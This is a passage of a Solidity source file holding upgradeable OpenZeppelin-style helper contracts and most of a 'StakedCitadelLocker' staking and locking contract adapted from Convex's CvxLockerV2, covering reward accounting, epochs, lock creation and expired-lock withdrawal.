safeTransfer(IERC20Upgradeable token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20Upgradeable token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20Upgradeable token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20Upgradeable token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20Upgradeable token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20Upgradeable token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } /** * @dev Standard math utilities missing in the Solidity language. */ library MathUpgradeable { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } // solhint-disable-next-line compiler-version /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function _isConstructor() private view returns (bool) { return !AddressUpgradeable.isContract(address(this)); } } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } uint256[50] private __gap; } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal initializer { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal initializer { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } uint256[49] private __gap; } /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuardUpgradeable is Initializable { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; function __ReentrancyGuard_init() internal initializer { __ReentrancyGuard_init_unchained(); } function __ReentrancyGuard_init_unchained() internal initializer { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } uint256[49] private __gap; } /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract PausableUpgradeable is Initializable, ContextUpgradeable { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ function __Pausable_init() internal initializer { __Context_init_unchained(); __Pausable_init_unchained(); } function __Pausable_init_unchained() internal initializer { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } uint256[49] private __gap; } interface IGac { function paused() external view returns (bool); function transferFromDisabled() external view returns (bool); function unpause() external; function pause() external; function enableTransferFrom() external; function disableTransferFrom() external; function grantRole(bytes32 role, address account) external; function hasRole(bytes32 role, address account) external view returns (bool); function getRoleMember(bytes32 role, uint256 index) external view returns (address); } /** * @title Global Access Control Managed - Base Class * @notice allows inheriting contracts to leverage global access control permissions conveniently, as well as granting contract-specific pausing functionality */ contract GlobalAccessControlManaged is PausableUpgradeable { IGac public gac; bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE"); bytes32 public constant UNPAUSER_ROLE = keccak256("UNPAUSER_ROLE"); /// ======================= /// ===== Initializer ===== /// ======================= /** * @notice Initializer * @dev this is assumed to be used in the initializer of the inhereiting contract * @param _globalAccessControl global access control which is pinged to allow / deny access to permissioned calls by role */ function __GlobalAccessControlManaged_init(address _globalAccessControl) public initializer { __Pausable_init_unchained(); gac = IGac(_globalAccessControl); } /// ===================== /// ===== Modifiers ===== /// ===================== // @dev only holders of the given role on the GAC can call modifier onlyRole(bytes32 role) { require(gac.hasRole(role, msg.sender), "GAC: invalid-caller-role"); _; } // @dev only holders of any of the given set of roles on the GAC can call modifier onlyRoles(bytes32[] memory roles) { bool validRoleFound = false; for (uint256 i = 0; i < roles.length; i++) { bytes32 role = roles[i]; if (gac.hasRole(role, msg.sender)) { validRoleFound = true; break; } } require(validRoleFound, "GAC: invalid-caller-role"); _; } // @dev only holders of the given role on the GAC can call, or a specified address // @dev used to faciliate extra contract-specific permissioned accounts modifier onlyRoleOrAddress(bytes32 role, address account) { require( gac.hasRole(role, msg.sender) || msg.sender == account, "GAC: invalid-caller-role-or-address" ); _; } /// @dev can be pausable by GAC or local flag modifier gacPausable() { require(!gac.paused(), "global-paused"); require(!paused(), "local-paused"); _; } /// ================================ /// ===== Permissioned actions ===== /// ================================ function pause() external { require(gac.hasRole(PAUSER_ROLE, msg.sender)); _pause(); } function unpause() external { require(gac.hasRole(UNPAUSER_ROLE, msg.sender)); _unpause(); } } /* Citadel locking contract Adapted from CvxLockerV2.sol (https://github.com/convex-eth/platform/blob/4a51cf7e411db27fa8fc2244137013f9fbdebb38/contracts/contracts/CvxLockerV2.sol). Changes: - Upgradeability - Removed staking */ contract StakedCitadelLocker is Initializable, ReentrancyGuardUpgradeable, OwnableUpgradeable, GlobalAccessControlManaged { using BoringMath for uint256; using BoringMath224 for uint224; using BoringMath112 for uint112; using BoringMath32 for uint32; using SafeERC20Upgradeable for IERC20Upgradeable; /* ========== STATE VARIABLES ========== */ struct Reward { bool useBoost; uint40 periodFinish; uint208 rewardRate; uint40 lastUpdateTime; uint208 rewardPerTokenStored; } struct Balances { uint112 locked; uint112 boosted; uint32 nextUnlockIndex; } struct LockedBalance { uint112 amount; uint112 boosted; uint32 unlockTime; } struct EarnedData { address token; uint256 amount; } struct Epoch { uint224 supply; //epoch boosted supply uint32 date; //epoch start date } //token constants IERC20Upgradeable public stakingToken; // xCTDL token //rewards address[] public rewardTokens; mapping(address => Reward) public rewardData; // Duration that rewards are streamed over uint256 public constant rewardsDuration = 86400; // 1 day // Duration of lock/earned penalty period uint256 public constant lockDuration = rewardsDuration * 7 * 21; // 21 weeks // reward token -> distributor -> is approved to add rewards mapping(address => mapping(address => bool)) public rewardDistributors; // user -> reward token -> amount mapping(address => mapping(address => uint256)) public userRewardPerTokenPaid; mapping(address => mapping(address => uint256)) public rewards; //supplies and epochs uint256 public lockedSupply; uint256 public boostedSupply; Epoch[] public epochs; //mappings for balance data mapping(address => Balances) public balances; mapping(address => LockedBalance[]) public userLocks; // ========== Not used ========== //boost address public boostPayment = address(0); uint256 public maximumBoostPayment = 0; uint256 public boostRate = 10000; uint256 public nextMaximumBoostPayment = 0; uint256 public nextBoostRate = 10000; uint256 public constant denominator = 10000; // ============================== //staking uint256 public minimumStake = 10000; uint256 public maximumStake = 10000; address public stakingProxy = address(0); uint256 public constant stakeOffsetOnLock = 500; //allow broader range for staking when depositing //management uint256 public kickRewardPerEpoch = 100; uint256 public kickRewardEpochDelay = 4; //shutdown bool public isShutdown = false; //erc20-like interface string private _name; string private _symbol; uint8 private _decimals; /* ========== CONSTRUCTOR ========== */ function initialize( address _stakingToken, address _gac, string calldata name, string calldata symbol ) public initializer { require(_stakingToken != address(0)); // dev: _stakingToken address should not be zero stakingToken = IERC20Upgradeable(_stakingToken); _name = name; _symbol = symbol; _decimals = 18; uint256 currentEpoch = block.timestamp.div(rewardsDuration).mul( rewardsDuration ); epochs.push(Epoch({supply: 0, date: uint32(currentEpoch)})); __Ownable_init(); __ReentrancyGuard_init(); __GlobalAccessControlManaged_init(_gac); } function decimals() public view returns (uint8) { return _decimals; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function version() public view returns (uint256) { return 2; } /* ========== ADMIN CONFIGURATION ========== */ // Add a new reward token to be distributed to stakers function addReward( address _rewardsToken, address _distributor, bool _useBoost ) public onlyOwner gacPausable { require(rewardData[_rewardsToken].lastUpdateTime == 0); // require(_rewardsToken != address(stakingToken)); rewardTokens.push(_rewardsToken); rewardData[_rewardsToken].lastUpdateTime = uint40(block.timestamp); rewardData[_rewardsToken].periodFinish = uint40(block.timestamp); rewardData[_rewardsToken].useBoost = _useBoost; rewardDistributors[_rewardsToken][_distributor] = true; } // Modify approval for an address to call notifyRewardAmount function approveRewardDistributor( address _rewardsToken, address _distributor, bool _approved ) external onlyOwner gacPausable { require(rewardData[_rewardsToken].lastUpdateTime > 0); rewardDistributors[_rewardsToken][_distributor] = _approved; } //Set the staking contract for the underlying cvx function setStakingContract(address _staking) external onlyOwner gacPausable { require(stakingProxy == address(0), "!assign"); stakingProxy = _staking; } //set staking limits. will stake the mean of the two once either ratio is crossed function setStakeLimits(uint256 _minimum, uint256 _maximum) external onlyOwner gacPausable { require(_minimum <= denominator, "min range"); require(_maximum <= denominator, "max range"); require(_minimum <= _maximum, "min range"); minimumStake = _minimum; maximumStake = _maximum; updateStakeRatio(0); } //set boost parameters function setBoost( uint256 _max, uint256 _rate, address _receivingAddress ) external onlyOwner gacPausable { require(_max < 1500, "over max payment"); //max 15% require(_rate < 30000, "over max rate"); //max 3x require(_receivingAddress != address(0), "invalid address"); //must point somewhere valid nextMaximumBoostPayment = _max; nextBoostRate = _rate; boostPayment = _receivingAddress; } //set kick incentive function setKickIncentive(uint256 _rate, uint256 _delay) external onlyOwner gacPausable { require(_rate <= 500, "over max rate"); //max 5% per epoch require(_delay >= 2, "min delay"); //minimum 2 epochs of grace kickRewardPerEpoch = _rate; kickRewardEpochDelay = _delay; } //shutdown the contract. unstake all tokens. release all locks function shutdown() external onlyOwner { isShutdown = true; } /* ========== VIEWS ========== */ function getRewardTokens() external view returns (address[] memory) { uint256 numTokens = rewardTokens.length; address[] memory tokens = new address[](numTokens); for (uint256 i = 0; i < numTokens; i++) { tokens[i] = rewardTokens[i]; } return tokens; } function _rewardPerToken(address _rewardsToken) internal view returns (uint256) { if (boostedSupply == 0) { return rewardData[_rewardsToken].rewardPerTokenStored; } return uint256(rewardData[_rewardsToken].rewardPerTokenStored).add( _lastTimeRewardApplicable( rewardData[_rewardsToken].periodFinish ) .sub(rewardData[_rewardsToken].lastUpdateTime) .mul(rewardData[_rewardsToken].rewardRate) .mul(1e18) .div( rewardData[_rewardsToken].useBoost ? boostedSupply : lockedSupply ) ); } function _earned( address _user, address _rewardsToken, uint256 _balance ) internal view returns (uint256) { return _balance .mul( _rewardPerToken(_rewardsToken).sub( userRewardPerTokenPaid[_user][_rewardsToken] ) ) .div(1e18) .add(rewards[_user][_rewardsToken]); } function _lastTimeRewardApplicable(uint256 _finishTime) internal view returns (uint256) { return MathUpgradeable.min(block.timestamp, _finishTime); } function lastTimeRewardApplicable(address _rewardsToken) public view returns (uint256) { return _lastTimeRewardApplicable(rewardData[_rewardsToken].periodFinish); } function rewardPerToken(address _rewardsToken) external view returns (uint256) { return _rewardPerToken(_rewardsToken); } function getRewardForDuration(address _rewardsToken) external view returns (uint256) { return uint256(rewardData[_rewardsToken].rewardRate).mul(rewardsDuration); } // Address and claimable amount of all reward tokens for the given account function claimableRewards(address _account) external view returns (EarnedData[] memory userRewards) { userRewards = new EarnedData[](rewardTokens.length); Balances storage userBalance = balances[_account]; uint256 boostedBal = userBalance.boosted; for (uint256 i = 0; i < userRewards.length; i++) { address token = rewardTokens[i]; userRewards[i].token = token; userRewards[i].amount = _earned( _account, token, rewardData[token].useBoost ? boostedBal : userBalance.locked ); } return userRewards; } // Total BOOSTED balance of an account, including unlocked but not withdrawn tokens function rewardWeightOf(address _user) external view returns (uint256 amount) { return balances[_user].boosted; } // total token balance of an account, including unlocked but not withdrawn tokens function lockedBalanceOf(address _user) external view returns (uint256 amount) { return balances[_user].locked; } //BOOSTED balance of an account which only includes properly locked tokens as of the most recent eligible epoch function balanceOf(address _user) external view returns (uint256 amount) { LockedBalance[] storage locks = userLocks[_user]; Balances storage userBalance = balances[_user]; uint256 nextUnlockIndex = userBalance.nextUnlockIndex; //start with current boosted amount amount = balances[_user].boosted; uint256 locksLength = locks.length; //remove old records only (will be better gas-wise than adding up) for (uint256 i = nextUnlockIndex; i < locksLength; i++) { if (locks[i].unlockTime <= block.timestamp) { amount = amount.sub(locks[i].boosted); } else { //stop now as no futher checks are needed break; } } //also remove amount locked in the next epoch uint256 currentEpoch = block.timestamp.div(rewardsDuration).mul( rewardsDuration ); if ( locksLength > 0 && uint256(locks[locksLength - 1].unlockTime).sub(lockDuration) > currentEpoch ) { amount = amount.sub(locks[locksLength - 1].boosted); } return amount; } //BOOSTED balance of an account which only includes properly locked tokens at the given epoch function balanceAtEpochOf(uint256 _epoch, address _user) external view returns (uint256 amount) { LockedBalance[] storage locks = userLocks[_user]; //get timestamp of given epoch index uint256 epochTime = epochs[_epoch].date; //get timestamp of first non-inclusive epoch uint256 cutoffEpoch = epochTime.sub(lockDuration); //need to add up since the range could be in the middle somewhere //traverse inversely to make more current queries more gas efficient for (uint256 i = locks.length - 1; i + 1 != 0; i--) { uint256 lockEpoch = uint256(locks[i].unlockTime).sub(lockDuration); //lock epoch must be less or equal to the epoch we're basing from. if (lockEpoch <= epochTime) { if (lockEpoch > cutoffEpoch) { amount = amount.add(locks[i].boosted); } else { //stop now as no futher checks matter break; } } } return amount; } //return currently locked but not active balance function pendingLockOf(address _user) external view returns (uint256 amount) { LockedBalance[] storage locks = userLocks[_user]; uint256 locksLength = locks.length; //return amount if latest lock is in the future uint256 currentEpoch = block.timestamp.div(rewardsDuration).mul( rewardsDuration ); if ( locksLength > 0 && uint256(locks[locksLength - 1].unlockTime).sub(lockDuration) > currentEpoch ) { return locks[locksLength - 1].boosted; } return 0; } function pendingLockAtEpochOf(uint256 _epoch, address _user) external view returns (uint256 amount) { LockedBalance[] storage locks = userLocks[_user]; //get next epoch from the given epoch index uint256 nextEpoch = uint256(epochs[_epoch].date).add(rewardsDuration); //traverse inversely to make more current queries more gas efficient for (uint256 i = locks.length - 1; i + 1 != 0; i--) { uint256 lockEpoch = uint256(locks[i].unlockTime).sub(lockDuration); //return the next epoch balance if (lockEpoch == nextEpoch) { return locks[i].boosted; } else if (lockEpoch < nextEpoch) { //no need to check anymore break; } } return 0; } //supply of all properly locked BOOSTED balances at most recent eligible epoch function totalSupply() external view returns (uint256 supply) { uint256 currentEpoch = block.timestamp.div(rewardsDuration).mul( rewardsDuration ); uint256 cutoffEpoch = currentEpoch.sub(lockDuration); uint256 epochindex = epochs.length; //do not include next epoch's supply if (uint256(epochs[epochindex - 1].date) > currentEpoch) { epochindex--; } //traverse inversely to make more current queries more gas efficient for (uint256 i = epochindex - 1; i + 1 != 0; i--) { Epoch storage e = epochs[i]; if (uint256(e.date) <= cutoffEpoch) { break; } supply = supply.add(e.supply); } return supply; } //supply of all properly locked BOOSTED balances at the given epoch function totalSupplyAtEpoch(uint256 _epoch) external view returns (uint256 supply) { uint256 epochStart = uint256(epochs[_epoch].date) .div(rewardsDuration) .mul(rewardsDuration); uint256 cutoffEpoch = epochStart.sub(lockDuration); //traverse inversely to make more current queries more gas efficient for (uint256 i = _epoch; i + 1 != 0; i--) { Epoch storage e = epochs[i]; if (uint256(e.date) <= cutoffEpoch) { break; } supply = supply.add(epochs[i].supply); } return supply; } //find an epoch index based on timestamp function findEpochId(uint256 _time) external view returns (uint256 epoch) { uint256 max = epochs.length - 1; uint256 min = 0; //convert to start point _time = _time.div(rewardsDuration).mul(rewardsDuration); for (uint256 i = 0; i < 128; i++) { if (min >= max) break; uint256 mid = (min + max + 1) / 2; uint256 midEpochBlock = epochs[mid].date; if (midEpochBlock == _time) { //found return mid; } else if (midEpochBlock < _time) { min = mid; } else { max = mid - 1; } } return min; } // Information on a user's locked balances function lockedBalances(address _user) external view returns ( uint256 total, uint256 unlockable, uint256 locked, LockedBalance[] memory lockData ) { LockedBalance[] storage locks = userLocks[_user]; Balances storage userBalance = balances[_user]; uint256 nextUnlockIndex = userBalance.nextUnlockIndex; uint256 idx; for (uint256 i = nextUnlockIndex; i < locks.length; i++) { if (locks[i].unlockTime > block.timestamp) { if (idx == 0) { lockData = new LockedBalance[](locks.length - i); } lockData[idx] = locks[i]; idx++; locked = locked.add(locks[i].amount); } else { unlockable = unlockable.add(locks[i].amount); } } return (userBalance.locked, unlockable, locked, lockData); } //number of epochs function epochCount() external view returns (uint256) { return epochs.length; } /* ========== MUTATIVE FUNCTIONS ========== */ function checkpointEpoch() external { _checkpointEpoch(); } //insert a new epoch if needed. fill in any gaps function _checkpointEpoch() internal { //create new epoch in the future where new non-active locks will lock to uint256 nextEpoch = block .timestamp .div(rewardsDuration) .mul(rewardsDuration) .add(rewardsDuration); uint256 epochindex = epochs.length; //first epoch add in constructor, no need to check 0 length //check to add if (epochs[epochindex - 1].date < nextEpoch) { //fill any epoch gaps while (epochs[epochs.length - 1].date != nextEpoch) { uint256 nextEpochDate = uint256(epochs[epochs.length - 1].date) .add(rewardsDuration); epochs.push(Epoch({supply: 0, date: uint32(nextEpochDate)})); } //update boost parameters on a new epoch if (boostRate != nextBoostRate) { boostRate = nextBoostRate; } if (maximumBoostPayment != nextMaximumBoostPayment) { maximumBoostPayment = nextMaximumBoostPayment; } } } // Locked tokens cannot be withdrawn for lockDuration and are eligible to receive stakingReward rewards function lock( address _account, uint256 _amount, uint256 _spendRatio ) external nonReentrant gacPausable updateReward(_account) { //pull tokens stakingToken.safeTransferFrom(msg.sender, address(this), _amount); //lock _lock(_account, _amount, _spendRatio, false); } //lock tokens function _lock( address _account, uint256 _amount, uint256 _spendRatio, bool _isRelock ) internal { require(_amount > 0, "Cannot stake 0"); require(_spendRatio <= maximumBoostPayment, "over max spend"); require(!isShutdown, "shutdown"); Balances storage bal = balances[_account]; //must try check pointing epoch first _checkpointEpoch(); //calc lock and boosted amount uint256 spendAmount = _amount.mul(_spendRatio).div(denominator); uint256 boostRatio = boostRate.mul(_spendRatio).div( maximumBoostPayment == 0 ? 1 : maximumBoostPayment ); uint112 lockAmount = _amount.sub(spendAmount).to112(); uint112 boostedAmount = _amount .add(_amount.mul(boostRatio).div(denominator)) .to112(); //add user balances bal.locked = bal.locked.add(lockAmount); bal.boosted = bal.boosted.add(boostedAmount); //add to total supplies lockedSupply = lockedSupply.add(lockAmount); boostedSupply = boostedSupply.add(boostedAmount); //add user lock records or add to current uint256 lockEpoch = block.timestamp.div(rewardsDuration).mul( rewardsDuration ); //if a fresh lock, add on an extra duration period if (!_isRelock) { lockEpoch = lockEpoch.add(rewardsDuration); } uint256 unlockTime = lockEpoch.add(lockDuration); uint256 idx = userLocks[_account].length; //if the latest user lock is smaller than this lock, always just add new entry to the end of the list if (idx == 0 || userLocks[_account][idx - 1].unlockTime < unlockTime) { userLocks[_account].push( LockedBalance({ amount: lockAmount, boosted: boostedAmount, unlockTime: uint32(unlockTime) }) ); } else { //else add to a current lock //if latest lock is further in the future, lower index //this can only happen if relocking an expired lock after creating a new lock if (userLocks[_account][idx - 1].unlockTime > unlockTime) { idx--; } //if idx points to the epoch when same unlock time, update //(this is always true with a normal lock but maybe not with relock) if (userLocks[_account][idx - 1].unlockTime == unlockTime) { LockedBalance storage userL = userLocks[_account][idx - 1]; userL.amount = userL.amount.add(lockAmount); userL.boosted = userL.boosted.add(boostedAmount); } else { //can only enter here if a relock is made after a lock and there's no lock entry //for the current epoch. //ex a list of locks such as "[...][older][current*][next]" but without a "current" lock //length - 1 is the next epoch //length - 2 is a past epoch //thus need to insert an entry for current epoch at the 2nd to last entry //we will copy and insert the tail entry(next) and then overwrite length-2 entry //reset idx idx = userLocks[_account].length; //get current last item LockedBalance storage userL = userLocks[_account][idx - 1]; //add a copy to end of list userLocks[_account].push( LockedBalance({ amount: userL.amount, boosted: userL.boosted, unlockTime: userL.unlockTime }) ); //insert current epoch lock entry by overwriting the entry at length-2 userL.amount = lockAmount; userL.boosted = boostedAmount; userL.unlockTime = uint32(unlockTime); } } //update epoch supply, epoch checkpointed above so safe to add to latest uint256 eIndex = epochs.length - 1; //if relock, epoch should be current and not next, thus need to decrease index to length-2 if (_isRelock) { eIndex--; } Epoch storage e = epochs[eIndex]; e.supply = e.supply.add(uint224(boostedAmount)); //send boost payment if (spendAmount > 0) { stakingToken.safeTransfer(boostPayment, spendAmount); } emit Staked(_account, lockEpoch, _amount, lockAmount, boostedAmount); } // Withdraw all currently locked tokens where the unlock time has passed function _processExpiredLocks( address _account, bool _relock, uint256 _spendRatio, address _withdrawTo, address _rewardAddress, uint256 _checkDelay ) internal updateReward(_account) { LockedBalance[] storage locks = userLocks[_account]; Balances storage userBalance = balances[_account]; uint112 locked; uint112 boostedAmount; uint256 length = locks.length; uint256 reward = 0; if ( isShutdown || locks[length - 1].unlockTime <= block.timestamp.sub(_checkDelay) ) { //if time is beyond last lock, can just bundle everything together locked = userBalance.locked; boostedAmount = userBalance.boosted; //dont delete, just set next index userBalance.nextUnlockIndex = length.to32(); //check for kick reward //this wont have the exact reward rate that you would get if looped through //but this section is supposed to be for quick and easy low gas processing of all locks //we'll assume that if the reward was good enough someone would have processed at an earlier epoch if (_checkDelay > 0) { uint256 currentEpoch = block .timestamp .sub(_checkDelay) .div(rewardsDuration) .mul(rewardsDuration); uint256 epochsover = currentEpoch .sub(uint256(locks[length - 1].unlockTime)) .div(rewardsDuration); uint256 rRate = MathUtil.min( kickRewardPerEpoch.mul(epochsover + 1), denominator ); reward = uint256(locks[length - 1].amount).mul(rRate).div( denominator ); } } else { //use a processed index(nextUnlockIndex) to not loop as much //deleting does not change array length uint32 nextUnlockIndex = userBalance.nextUnlockIndex; for (uint256 i = nextUnlockIndex; i < length; i++) { //unlock time must be less or equal to time if (locks[i].unlockTime > block.timestamp.sub(_checkDelay)) break; //add to cumulative amounts locked = locked.add(locks[i].amount); boostedAmount = boostedAmount.add(locks[i].boosted); //check for kick reward //each epoch over due increases reward if (_checkDelay > 0) { uint256 currentEpoch = block .timestamp .sub(_checkDelay) .div(rewardsDuration) .mul(rewardsDuration); uint256 epochsover = currentEpoch .sub(uint256(locks[i].unlockTime)) .div(rewardsDuration); uint256 rRate = MathUtil.min( kickRewardPerEpoch.mul(epochsover + 1), denominator ); reward = reward.add( uint256(locks[i].amount).mul(rRate).div(denominator) ); } //set next unlock index nextUnlockIndex++; } //update next unlock index userBalance.nextUnlockIndex = nextUnlockIndex; } require(locked > 0, "no exp locks"); //update user balances and total supplies userBalance.locked = userBalance.locked.sub(locked); userBalance.boosted = userBalance.boosted.sub(boostedAmount); lockedSupply = lockedSupply.sub(locked); boostedSupply = boostedSupply.sub(boostedAmount); emit Withdrawn(_account, locked, _relock); //send process incentive if (reward > 0) { //if theres a reward(kicked), it will always be a withdraw only //preallocate enough cvx from stake contract to pay for both reward and withdraw allocateCVXForTransfer(uint256(locked)); //reduce return amount by the kick reward locked = locked.sub(reward.to112()); //transfer reward transferCVX(_rewardAddress, reward, false); emit KickReward(_rewardAddress, _account, reward); } else if (_spendRatio > 0) { //preallocate enough cvx to transfer the boost cost allocateCVXForTransfer( uint256(locked).mul(_spendRatio).div(denominator) ); } //relock or return to user if (_relock) { _lock(_withdrawTo, locked, _spendRatio, true); } else { transferCVX(_withdrawTo, locked, true); } } // withdraw expired locks to a different address function withdrawExpiredLocksTo(address _withdrawTo) external nonReentrant gacPausable { _processExpiredLocks(msg.sender, false, 0, _withdrawTo, msg.sender, 0); } // Withdraw/relock all currently locked tokens where the unlock time has passed function processExpiredLocks(bool _relock) external nonReentrant gacPausable { _processExpiredLocks(msg.sender, _relock, 0, msg.sender, msg.sender, 0); } function kickExpiredLocks(address _account) external nonReentrant gacPausable { //allow kick after grace period of 'kickRewardEpochDelay' _processExpiredLocks( _account, false, 0, _account, msg.sender, rewardsDuration.mul(kickRewardEpochDelay) ); } //pull required amount of cvx from staking for an upcoming transfer // dev: no-op function 